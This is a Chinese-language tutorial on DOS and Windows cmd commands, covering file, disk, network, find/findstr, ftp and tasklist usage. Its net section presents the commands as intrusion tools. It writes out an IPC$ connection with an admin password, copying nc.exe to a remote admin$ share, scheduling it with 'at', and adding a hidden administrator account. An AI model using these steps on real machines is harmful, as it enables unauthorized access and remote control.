DOS 在线手册:http://www.shouce.ren/api/dos/
DOS 命令学习手册 ( DOS W3School 教程 ):https://www.w3cschool.cn/dosmlxxsc1/
cmd命令:
- :http://wenku.baidu.com/view/5ecce91452d380eb62946da8.html
- :http://wenku.baidu.com/view/1a343421a5e9856a56126014.html
- :http://wenku.baidu.com/view/4a5430eaaeaad1f346933f8e.html
windows 下 cmd 命令行显示 UTF8 字符设置 (CHCP命令):https://jingyan.baidu.com/article/f7ff0bfcee2dc22e26bb13d5.html
- chcp 65001 UTF-8
- chcp 936 默认的GBK
- chcp 437 美国英语
DOS命令
DOS 中是通过输入英文命令加回车键这种方式来执行程序的,DOS 称为单任务的操作系统。
DOS 下的可执行文件有三种,分别是 exe,com,bat (cmd ),都是可以直接执行的。只需在提示符下输入文件基本名(不需输入文件后缀),然后回车即可
- 以 exe 为后缀的文件叫 可执行文件;
- 以 com 为后缀的文件叫 命令文件;
- 以 bat 为后缀的文件叫 批处理文件。所谓批处理,就是一次可以执行很多条命令,当想要完成一系列任务时,可以一个一个命令的执行,也可以将这些命令都装入一个文件中,只要敲一下这个文件名,电脑就会将这一批命令一次执行完毕。
其中 EXE 和 COM 文件都是二进制形式的,只有 BAT文件是文本形式的,可以直接阅读。因此,BAT 文件 和 二进制 可执行文件相比,内容要简单的多。这些文件内包含着 DOS 命令的集合,通常 叫作 批处理文件。批处理文件的组成虽然比较简单,但其用处非常大,使用也比较广泛。比如每次都执行一些相同的命令,您一定会觉得非常麻烦,而放在批处理文件中执行的话则轻松得多。AUTOEXEC.BAT 就是一个特殊的批处理文件,它在 DOS 的启动时自动运行,在系统的配置中发挥着非常大的作用。因此,要学好 DOS,就要学好批处理文件。
在 DOS 中,有个 当前目录 的概念,就是 提示符所显示的目录,假设提示符是 C:\,那么当前工作目录就是 C 盘的根目录,这个 \ (反斜杠) 就表示根目录。
DOS命令分为 内部命令 和 外部命令。( 内部命令在任何时候都可以使用,而外部命令需要保证命令文件在当前的目录中,或在 Autoexec.bat 文件已经被加载了路径。 )
- 内部命令:是随每次启动的 COMMAND.COM 装入并常驻内存。常用的内部命令有:md (创建目录)、cd (改变目录)、rd (删除目录)、dir (显示目录内容)、path (设置路径)、copy (文件复制)、type (显示文件内容)、edit (编辑)、ren (重命名)、del (删除文件)、cls (清屏)、ver (查看系统版本号)、date (日期)、time (时间)、prompt (改变提示符)。
- 外部命令:是一个单独的可执行文件。常用的外部命令有:deltree (删除整个目录命令)、format (磁盘格式化)、diskcopy (整盘复制)、label (建立磁盘卷标)、vol (显示磁盘卷标)、sys (系统复制)、xcopy (目录复制)、fc (文件比较)、attrib (修改文件属性)、mem、tree (显示目录结构)。
部分命令说明
1.MD --- 建立子目录
功能:创建新的子目录
类型:内部命令
格式:MD[盘符:][路径名]〈子目录名〉
示例:C:\>md y /*---建立y子目录---*/
2.CD --- 改变当前目录
功能:显示当前目录
类型:内部命令
格式:CD[盘符:][路径名][子目录名]
说明:CD命令不能改变当前所在的盘,CD..退回到上一级目录,CD\表示返回到当前盘的目录下,CD无参数时显示当前目录名。
示例:C:\>cd y /*---显示当前目录y---*/
3.RD --- 删除子目录命令
功能:从指定的磁盘删除了目录。
类型:内部命令
格式:RD[盘符:][路径名][子目录名]
示例:C:\>rd y
4.DIR --- 显示磁盘目录命令
功能:显示磁盘目录的内容。
类型:内部命令
格式:DIR [盘符][路径][/P][/W]
示例:C:\>dir y
5.PATH --- 路径设置命令
功能:设备可执行文件的搜索路径,只对文件有效。
类型:内部命令
格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…}
C:\>path
PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\PROGRAMFILES\MTS
6.COPY --- 文件复制命令
功能:拷贝一个或多个文件到指定盘上。
类型:内部命令
格式:COPY [源盘][路径]〈源文件名〉[目标盘][路径][目标文件名]
C:\>copy yyy.txt yyy
1 file(s) copied
C:\yyy>dir yyy
说明: 如果是将多个文件复制到一个新的文件,
命令 COPY [源盘][路径]〈源文件A〉+[源盘][路径]〈源文件B〉[目标盘][路径][目标文件名]
C:\>copy x.txt+y.txt xy.t
7.TYPE --- 显示文件内容命令
功能:显示ASCII码文件的内容.
类型:内部命令。
格式:TYPE[盘符:][路径]〈文件名〉
C:\>trpe yyy.txt /*---假设C盘目录下存在yyy.txt文件---*/
8.EDIT --- 编辑文件内容命令
功能:编辑ASCII文件的内容,也可建立一个新文件。
类型:内部命令。
EDIT[盘符:][路径]〈文件名〉
说明: EDIT即可以编辑ASCII文件的内容,也可以新建立一个文件,
他们的扩展名命名方式也很灵活,比如.txt、.bat,甚至可以编辑.c、.bas的格式。
C:\>edit /*进入编辑模式*/
C:\>edit yyy.txt /*---编辑yyy.txt文件的内容,如果要选择支持中文格式,应该安装UCDOS---*/
9.REN --- 文件改名命令
功能:更改文件名称
类型:内部命令
格式:REN[盘符:][路径]〈旧文件名〉〈新文件名〉
C:\>ren yyy.txt cly.txt
10.DEL --- 删除文件命令
功能:删除指定的文件。
类型:内部命令
格式:DEL[盘符:][路径]〈文件名〉[/P]
说明:选用/P参数,系统在删除前询问是否真要删除该文件,若不使用这个参数,则自动删除。
11.CLS --- 清屏幕命令
功能:清除屏幕上的所有显示,光标置于屏幕左上角。
类型:内部命令
格式:CLS
C:\>CLS
12.VER --- 查看系统版本号
功能:显示当前系统版本号
类型:内部命令
格式:VER
C:\>VER
13.DATA --- 日期设置命令
功能:设置或显示系统日期。
类型:内部命令
格式:DATE[mm—dd—yy]
C:\>DATE
Current date is Sun 11-23-2
Enter new date (mm-dd-yy): /*---提示你输入新的日期---*/
14.TIME --- 系统时钟设置命令
功能:设置或显示系统时期。
类型:内部命令
格式:TIME[hh:mm:ss:xx]
C:\>time
Current time is 22:49:28.81
Enter new time:
15.PROMPT:更改命令提示符
功能:改变DOS系统提示符的风格。
16. deltree --- 删除目录树
[格式] [C:][path]DELTREE [C1:][path1] [[C2:][path2] […]]
17. mem --- 查看你的计算机内存有多少,以及内存的使用情况。
[格式] 直接键入mem命令
18. chkdsk --- 检查你的磁盘的使用情况。
[格式] chkdsk 磁盘名
21. FORMAT(Format.COM)--格式化命令
格式为"FORMAT [盘符] [参数]",例如:"FORMAT A: /S"。它有两个常见的参数:
/Q:进行快速格式化;
/S:完成格式化,并将系统引导文件拷贝到该磁盘。
22. FDISK(Fdisk.EXE)--分区命令
windows 运行命令全集
有关某个命令的详细信息,请键入 HELP 命令名
ASSOC 显示或修改文件扩展名关联。
ATTRIB 显示或更改文件属性。
BREAK 设置或清除扩展式 CTRL+C 检查。
BCDEDIT 设置启动数据库中的属性以控制启动加载。
CACLS 显示或修改文件的访问控制列表(ACL)。
CALL 从另一个批处理程序调用这一个。
CD 显示当前目录的名称或将其更改。
CHCP 显示或设置活动代码页数。
CHDIR 显示当前目录的名称或将其更改。
CHKDSK 检查磁盘并显示状态报告。
CHKNTFS 显示或修改启动时间磁盘检查。
CLS 清除屏幕。
CMD 打开cmd窗口
COLOR 设置默认控制台前景和背景颜色。
COMP 比较两个或两套文件的内容。
COMPACT 显示或更改 NTFS 分区上文件的压缩。
CONVERT 将 FAT 卷转换成 NTFS。你不能转换当前驱动器。
COPY 将至少一个文件复制到另一个位置。
DATE 显示或设置日期。
DEL 删除至少一个文件。
DIR 显示一个目录中的文件和子目录。
DISKPART 显示或配置磁盘分区属性。
DOSKEY 编辑命令行、撤回 Windows 命令并创建宏。
DRIVERQUERY 显示当前设备驱动程序状态和属性。
ECHO 显示消息,或将命令回显打开或关闭。
ENDLOCAL 结束批文件中环境更改的本地化。
ERASE 删除一个或多个文件。
EXIT 退出 CMD.EXE 程序(命令解释程序)。
FC 比较两个文件或两个文件集并显示它们之间的不同。
FIND 在一个或多个文件中搜索一个文本字符串。
FINDSTR 在多个文件中搜索字符串。
FOR 为一组文件中的每个文件运行一个指定的命令。
FORMAT 格式化磁盘,以便用于 Windows。
FSUTIL 显示或配置文件系统属性。
FTYPE 显示或修改在文件扩展名关联中使用的文件类型。
GOTO 将 Windows 命令解释程序定向到批处理程序中某个带标签的行。
GPRESULT 显示计算机或用户的组策略信息。
GRAFTABL 使 Windows 在图形模式下显示扩展字符集。
HELP 提供 Windows 命令的帮助信息。
ICACLS 显示、修改、备份或还原文件和目录的 ACL。
IF 在批处理程序中执行有条件的处理操作。
LABEL 创建、更改或删除磁盘的卷标。
MD 创建一个目录。
MKDIR 创建一个目录。
MKLINK 创建符号链接和硬链接
MODE 配置系统设备。
MORE 逐屏显示输出。
MOVE 将一个或多个文件从一个目录移动到另一个目录。
OPENFILES 显示远程用户为了文件共享而打开的文件。
PATH 为可执行文件显示或设置搜索路径。
PAUSE 暂停批处理文件的处理并显示消息。
POPD 还原通过 PUSHD 保存的当前目录的上一个值。
PRINT 打印一个文本文件。
PROMPT 更改 Windows 命令提示。
PUSHD 保存当前目录,然后对其进行更改。
RD 删除目录。
RECOVER 从损坏的或有缺陷的磁盘中恢复可读信息。
REM 记录批处理文件或 CONFIG.SYS 中的注释(批注)。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替换文件。
RMDIR 删除目录。
ROBOCOPY 复制文件和目录树的高级实用工具
SET 显示、设置或删除 Windows 环境变量。
SETLOCAL 开始本地化批处理文件中的环境更改。
SC 显示或配置服务(后台进程)。
SCHTASKS 安排在一台计算机上运行命令和程序。
SHIFT 调整批处理文件中可替换参数的位置。
SHUTDOWN 允许通过本地或远程方式正确关闭计算机。
SORT 对输入排序。
START 启动单独的窗口以运行指定的程序或命令。
SUBST 将路径与驱动器号关联。
SYSTEMINFO 显示计算机的特定属性和配置。
TASKLIST 显示包括服务在内的所有当前运行的任务。
TASKKILL 中止或停止正在运行的进程或应用程序。
TIME 显示或设置系统时间。
TITLE 设置 CMD.EXE 会话的窗口标题。
TREE 以图形方式显示驱动程序或路径的目录结构。
TYPE 显示文本文件的内容。
VER 显示 Windows 的版本。
winver 显示 Windows 的版本。
VERIFY 告诉 Windows 是否进行验证,以确保文件正确写入磁盘。
VOL 显示磁盘卷标和序列号。
XCOPY 复制文件和目录树。
WMIC 在交互式命令 shell 中显示 WMI 信息。dxdiag 检查DirectX信息
mem.exe 显示内存使用情况
Sndvol32 音量控制程序
sfc.exe 系统文件检查器
gpedit.msc 组策略
regedit.exe 注册表
Msconfig.exe 系统配置实用程序
chkdsk.exe Chkdsk磁盘检查
services.msc 服务
lusrmgr.msc 本地账户管理
drwtsn32 系统医生
cleanmgr 垃圾整理
iexpress 木马捆绑工具,系统自带
mmc 控制台
dcpromo 活动目录安装
ntbackup 系统备份和还原
rononce -p 15秒关机
taskmgr 任务管理器
conf 启动 netmeeting
devmgmt.msc 设备管理器
diskmgmt.msc NT的磁盘管理器
compmgmt.msc 计算机管理
winchat 局域网聊天
dvdplay DVD播放器
mplayer2 简易widnows media player
mspaint 画图板
wupdmgr WIDNOWS UPDATE
Clipbrd 剪贴板查看器
Odbcad32 ODBC数据源管理器
Nslookup IP地址侦测器
目录操作
cd
deltree
dir
md、mkdir
path
rd
tree
文件操作
attrib
call
copy
debug
del
edit
expand
fc
findstr
more
ren
replace
restore
sfc
shift
type
undelete
xcopy
功能操作
break
chcp
cls
ctty
date
doskey
dosshell
echo
exit
fasthelp
fastopen
find
for
forcedos
goto
graphics
help
logoff
mem
move
msav
msd
pause
power
prompt
qbasic
set
setver
shutdown
sort
sys
taskkill
tasklist
time
tsshutdn
ver
vol
vsafe
磁盘操作
chkdsk
chkntfs
convert
dblspace
defrag
diskcomp
diskcopy
diskperf
drvspace
fdisk
format
hostname
interlnk
intersrv
keyb
label
lh
loadfix
memmaker
msbackup
mscdex
scandisk
share
smartdrv
subst
unformat
verify
网络操作
arp
finger
ftp
ipconfig
nbstat
net
netsh
netstat
nslookup
pathping
ping
rcp
rexec
route
rsh
telnet
tftp
tracert
其它
iisreset
ping6
tracert6
DOS 中 find 和 findstr 命令
参考:http://www.jb51.net/article/29239.htm
dos 中的 find 命令
find 帮助。C:\>find /?
C:\>find /?
在文件中搜索字符串。FIND [/V] [/C] [/N] [/I] [/OFF[LINE]] "string" [[drive:][path]filename[ ...]]
/V 显示所有未包含指定字符串的行。
/C 仅显示包含字符串的行数。
/N 显示行号。
/I 搜索字符串时忽略大小写。
/OFF[LINE] 不要跳过具有脱机属性集的文件。
"string" 指定要搜索的文本字符串。
[drive:][path]filename 指定要搜索的文件。如果没有指定路径,FIND 将搜索在提示符处键入的文本或者由另一命令产生的文本。
find 使用示例:
find "abc" d:\abc.txt // 在abc.txt中搜索包含字符串abc的行
find /i "abc" d:\abc.txt // 搜索时忽略大小写
find /n "abc" d:\abc.txt // 显示行号
find /c "abc" d:\abc.txt // /c是英文单词 count(计数)的缩写。统计行数
find /v "abc" d:\abc.txt // 显示 不包含 abc 的行。
dos 中的 findstr 命令
findstr 是 find 的扩展,功能更强大。findstr,全英文 find string,意为 "查找字符串"
findstr [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P] [/F:file]
[/C:string] [/G:file] [/D:dir list] [/A:color attributes] [/OFF[LINE]]
strings [[drive:][path]filename[ ...]]/B 在一行的开始配对模式。
/E 在一行的结尾配对模式。
/L 按字使用搜索字符串。
/R 使用正则搜索
/S 在当前目录和所有子目录中搜索匹配文件。
/I 搜索时忽略大小写。
/X 打印完全匹配的行。
/V 只打印不包含匹配的行。
/N 在匹配的每行前打印行数。
/M 如果文件含有匹配项,只打印其文件名。
/O 在每个匹配行前打印字符偏移量。
/P 忽略有不可打印字符的文件。
/OFF[LINE] 不跳过带有脱机属性集的文件。
/A:attr 指定有十六进位数字的颜色属性。请见 "color /?"
/F:file 从指定文件读文件列表 (/ 代表控制台)。
/C:string 使用指定字符串作为文字搜索字符串。
/G:file 从指定的文件获得搜索字符串。 (/ 代表控制台)。
/D:dir 查找以分号为分隔符的目录列表
strings 要查找的文字。
[drive:][path]filename 指定要查找的文件。除非参数有 /C 前缀,请使用空格隔开搜索字符串。
示例:
命令:findstr "hello there" x.y // 在文件 x.y 中寻找 "hello" 或 "there"
命令:findstr /C:"hello there" x.y // 文件 x.y 寻找 "hello there"一般表达式的快速参考:
. 通配符: 任何字符
* 重复: 以前字符或类出现零或零以上次数
^ 行位置: 行的开始
$ 行位置: 行的终点
[class] 字符类: 任何在字符集中的字符
[^class] 补字符类: 任何不在字符集中的字符
[x-y] 范围: 在指定范围内的任何字符
\x Escape: 元字符 x 的文字用法
\<xyz 字位置: 字的开始
xyz\> 字位置: 字的结束
示例,精确匹配 hello,即只匹配 hello 这个单词:\<hello\>
测试文本 a.txt 的内容(a.txt 的内容在后面会多次修改):
Hello World
Hello Boy
hello ,good man.
goodbye!
findstr 使用示例:
findstr "hello" a.txt
findstr "Hello" a.txt
findstr默认是区分大小写的(跟find命令一样)用/i参数可以忽略大小写。
findstr /i "Hello" a.txt //忽略大小写
findstr /n /i "hello" a.txt //查找在那一行
find /n "hello" a.txt
findstr /m /i "hello" *.txt //加上/m参数,只列出包含指定字符的文件名。
findstr /b /i "hello" a.txt //查找以hello(忽略大小写)开始的行
findstr /i "^hello" a.txt
findstr /i "hello$" a.txt
findstr /n /i "^hello$" a.txt
findstr /n /i /x "hello" a.txt // /x参数用来查找完全匹配的行。// /l参数后,findstr转换为“普通字符串模式”(其实find就是这种模式、且只有这种模式)。不能再使用正则表达式。
findstr /li "hello" a.txt
find 比 findstr 更强的地方:
- 1、统计含指定字符串的总行数。find /c "abc" test.txt 可以统计 test.txt 中含有字符串 abc 的总行数,而 findstr 则没有直接提供该功能,需要配合for语句才能实现;
- 2、find 可以读取 Unicode 格式的文本,而 findstr 则不行;
- 3、find 可以过滤某些特殊字符,而 findstr 则不行,比如,我们在使用 fsutil fsinfo drives 语句查询磁盘分区的时候,如果想让盘符分行显示而不是显示在同一行上的时候(这在用 for 语句提取盘符的时候很有用),find 可以大显身手,而 findstr 只能干瞪眼了,具体语句为: 代码: fsutil fsinfo drives|find /v ""
必知的 10 个 DOS 命令集合
查询登录的用户,并聊天
query user
msg
ping
检查网络是否通畅或者网络连接速度的命令。ping命令是第一个必须掌握的DOS命令,原理:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的操作系统等。下面就来看看它的一些常用的操作。先看看帮助吧,在DOS窗口中键入:ping /? 回车,出现如图1所示的帮助画面。在此,我们只掌握一些基本的很有用的参数就可以了(下同)。
nbtstat
该命令使用 TCP/IP 上的 NetBIOS 显示协议统计和当前 TCP/IP 连接,使用这个命令你可以得到远程主机的 NETBIOS 信息,比如 用户名、所属的工作组、网卡的 MAC 地址等
netstat
查看网络状态的命令,操作简便功能强大。
Windows 中结束占用某个端口的进程( 假设 8080 端口被占用,现在结束使用8080端口的进程 ):
- 1. 在 cmd 中执行命令:netstat -ano | findstr 8080,根据端口号查找对应的PID。发现 8080 端口被 PID(进程号)为 2188 的进程占用。
- 2. 根据 PID 找进程名称,输入命令:tasklist | findstr 2188,发现是占用 8080 端口的进程为:javaw.exe。
- 3. 根据 PID 结束对应进程。命令 taskkill -PID 2188 -F,强制关闭 PID 为 2188 的进程。
tracert
跟踪路由信息,使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径,这对我们了解网络布局和结构很有帮助。如图5,这里说明数据从本地机器传输到192.168.0.1的机器上,中间没有经过任何中转,说明这两台机器是在同一段局域网内。用法:tracert IP。
net
net 命令是网络命令中最重要的一个,必须透彻掌握它的每一个子命令的用法,因为它的功能实在是太强大了,这简直就是微软提供的最好的入侵工具。
NET 指令是一个由众多命令作为参数组成的庞大命令集,其语法是:
所有 net 命令接受选项 / yes 和 /no(可缩写为 / y 和 /n )。
- / y 对命令产生的任何交互提示自动回答 “是”。
- /n 回答 “否”。
例如,net stop server 通常提示确认是否根据服务器服务结束所有服务,net stop server /y 自动回答“是”并关闭服务器服务。
net view
使用此命令查看远程主机的所以共享资源。命令格式为 net view \\IP
NET VIEW 命令 用于显示一个计算机上共享资源的列表。当不带选项使用本命令时,它就会显示当前域或工作组中计算机的列表。其命令格式如下:
net use
把远程主机的某个共享资源影射为本地盘符,图形界面方便使用。命令格式为 net use x: \\IP\sharename。
上面一个表示把 192.168.0.5 IP的共享名为 magic 的目录影射为本地的 Z 盘。
下面表示和 192.168.0.7 建立 IPC$ 连接( net use \\IP\IPC$ "password" /user:"name" ),建立了 IPC$ 连接后,就可以上传文件了:copy nc.exe \\192.168.0.7\admin$,表示把本地目录下的nc.exe 传到远程主机,结合后面要介绍到的其他DOS命令就可以实现入侵了。
net share
net share 用于管理共享资源,使网络用户可以使用某一服务器上的资源。当不带选项使用此命令时,它会列出该计算机上正在被共享的所有资源。对于每一种资源,Windows 都会报告其设备名或路径名,以及与之相关的描述性注释。
参数 和 使用示例:
参数
ShareName 指定共享资源的网络名称。
键入带参数 ShareName 的 net share 命令仅显示有关该共享的信息。
drive:path 指定要共享目录的绝对路径。
/users:number 设置可以同时访问共享资源的最多用户数。
/unlimited 指定可以同时访问共享资源的、数量不受限制的用户。
/remark:"text" 添加关于资源的描述注释。给文本加上引号。
/cache:automatic 启用带自动重新集成的脱机客户缓存。
/cache:manual 启用带手动重新集成的脱机客户缓存。
/cache:no 提醒客户脱机缓存不合适。
/delete 停止共享资源。
net help command 显示指定 net 命令的帮助。
注释
要共享带有包含空格字符路径的目录,请使用引号将目录的驱动器和路径引起来。
例如, "C:\Path Name"
当显示计算机上的所有共享资源时,将显示资源的共享名、与资源相关的设备名或路径,
以及与资源有关的描述性注释。输出内容与以下相似:share name resource remark
===================================================================
ADMIN$ C:\WINNT Remote Admin
C$ C:\ Default Share for Internal Use
print$ C:\WINNT\SYSTEM\SPOOL
IPC$ Remote IPC
LASER LPT1 Spooled Laser printer在服务器上创建共享时,这些共享将被保存。在停止 Server 服务时,所有共享都断开,
但是在下一次启动 Server 服务或者重新启动计算机时将自动重新连接它们。
有关服务的详细信息,请参阅服务。
当从远程计算机浏览本地计算机时,将不显示以字符 $ 结尾的共享资源名。
示例:
显示有关计算机上共享资源的信息。
命令:net share
使用共享名 DataShare 共享计算机的 C:\Data 目录并包括注释,
命令:net share DataShare=c:\Data /remark:"For department 123."
停止 DataShare 文件夹共享,命令:net share DataShare /delete
使用共享名 List 共享计算机的 C:\Art Lst 目录,命令:net share list="c:\art lst"
测试实例
172.100.100.100 上添加共享名 app,设置用户名administrator,密码是password
D:\config>net share app$=d:\config
172.200.200.200 机器执行copy命令:
// 执行连接
D:\>net use \\172.100.100.100\app$ "passwprd" /user:"administrator"
// 执行 copy 文件
D:\>copy \\172.100.100.100\app$\php.ini d:\copy
D:\>copy nc.exe \\172.100.100.100\app$
// 创建 定时 任务,执行 nc.exe
D:\>at \\172.100.100.100 13:15 d:\config\nc.exe
使用 net view,net use,net share 这三个命令可以完成大部分 windows 网络共享相关的工作,
- 用 net view 命令在网络上查找共享资源,
- 用 net use 命令使用指定的共享资源并用
- 用 net share 命令向网络添加共享资源。
net start / stop
启动/停止 本地主机或者远程主机上的服务。当你和远程主机建立连接后,如果发现它的什么服务没有启动,而你又想利用此服务怎么办? 就使用这个命令来启动吧。
用法:net start servername
net user、net localgroup
查看和帐户有关的情况,包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的,最重要的,它为我们克隆帐户提供了前提。键入不带参数的net user,可以查看所有用户,包括已经禁用的。下面分别讲解。
net user abcd 1234 /add // 新建用户名为abcd,密码为1234的帐户,默认为user组成员。
net user abcd /del // 将用户名为abcd的用户删除。
net user abcd // 查看用户名为abcd的用户的情况。
net user abcd /active:no // 将用户名为abcd的用户禁用。
net user abcd /active:yes // 激活用户名为abcd的用户。net localgroup // 查看所有和用户组有关的信息和进行相关操作。
不带参数的 net localgroup 即列出当前所有的用户组。
在入侵过程中,一般利用它来把某个帐户提升为 administrator 组帐户。
命令:net localgroup groupname username /add
把用户 abcd 加到 administrator 组里去了,这时候 abcd 用户已经是超级管理员了。可以使用 net user abcd 来查看他的状态。但这样太明显了,网管一看用户情况就能漏出破绽,所以这种方法只能对付菜鸟网管,但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员,这是后话。有兴趣的朋友可以参照《黑客防线》第30期上的《由浅入深解析隆帐户》一文。
net time
查看远程主机当前的时间。如果你的目标只是进入到远程主机里面,那么也许就用不到这个命令了。但简单的入侵成功了,难道只是看看吗?我们需要进一步渗透。这就连远程主机当前的时间都需要知道,因为利用时间和其他手段(后面会讲到)可以实现某个命令和程序的定时启动,为我们进一步入侵打好基础。用法:net time \\IP。
at
这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序(知道net time的重要了吧?)。
当我们知道了远程主机的当前时间,就可以利用此命令让其在以后的某个时间(比如2分钟后)执行某个程序和命令。
用法:at time command \\computer。如图:表示在6点55分时,让名称为a-01的计算机开启telnet服务(这里net start telnet即为开启telnet服务的命令)。
ftp
FTP 命令详解:
FTP 命令是 Internet 用户使用最频繁的命令之一
熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。
如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。
FTP 的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中-v 显示远程服务器的所有响应信息
-n 限制ftp的自动登录,即不使用;.n etrc文件;
-d 使用调试方式;
-g 取消全局文件名。FTP使用的内部命令如下(中括号表示可选项):
1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。
3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,
若未指定远程系统文件名,则使用本地文件名。
5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。
7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。
9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。
11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。
13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。
15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,
如:deb up 3,若设为0,表示取消debug。
17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。
19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。
21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。
23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。
25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。
27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。
29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,
如 :mdir *.o.*.zipoutfile 。
31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。
33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。
35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。
37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,
则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。
39.nmap[inpattern outpattern]:设置文件名映射机制, 使文件传输时,文件中的某些字符相互转换,
如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。
该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。
41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。
43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,
以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。
47.quit:同bye,退出ftp会话。
48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.
49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。
51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。
53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。
55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。
57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。
59.sendport:设置PORT命令的使用。
60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。
61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。
63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。
65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。
67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。
69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,
如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3
71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,
如:user anonymous my@email。
72.verbose:同 -v 参数,即设置详尽报告方式,ftp 服务器的所有响应都将显示给用户,缺省为on.
73.?[cmd]: 同 help.
telent
:https://www.baidu.com/s?wd=telnet%20%E8%AF%A6%E8%A7%A3
tasklist
tasklist 显示 "本地" 或 "远程" 机器上当前运行的进程列表。
使用 tasklist 命令查看远程系统的进程时,需要远程机器的 RPC 服务器的支持,否则,该命令就不能正常使用。
通过 "任务管理器 (快捷键 Ctrl+Alt+Del)" 可以查看到本机完整的进程列表,而且可以通过手工定制进程列表的方式获的更多的进程信息,如会话ID、用户名等,但是,看不到进程到底提供了哪些系统服务。而 tasklist 就可以。"tasklist、taskkill" 是在 Windows XP 中新增了两个命令行工具。
命令、参数 大小写都可以,效果一样。
tasklist [/S system [/U username [/P [password]]]]
[/M [module] | /SVC | /V] [/FI filter] [/FO format] [/NH]参数列表:
/S system 指定要连接的远程系统。
/U [domain\]user 指定用户名。
/P [password] 指定密码。如果省略,则提示输入。
/M [module] 列出调用所指定 dll 的所有 进程 (任务) 。
如果没有指定模块名称,显示所有加载的模块。
/SVC 显示每个进程提供的服务。
/V 显示详细信息。
/FI filter 显示符合过滤条件的 进程 (任务) 。
/FO format 设置输出格式。有效值: "TABLE"、"LIST"、"CSV"。
/NH 设置不显的列标题。只对 "TABLE" 和 "CSV" 格式有效。
/? 显示帮助消息。filter:
filter名 有效操作符 有效值
----------- --------------- --------------------------
STATUS eq, ne RUNNING | NOT RESPONDING | UNKNOWN
IMAGENAME eq, ne 映像名称
PID eq, ne, gt, lt, ge, le PID 值
SESSION eq, ne, gt, lt, ge, le 会话编号
SESSIONNAME eq, ne 会话名
CPUTIME eq, ne, gt, lt, ge, le CPU 时间,格式为:
hh:mm:ss。hh - 时,mm - 分,ss - 秒
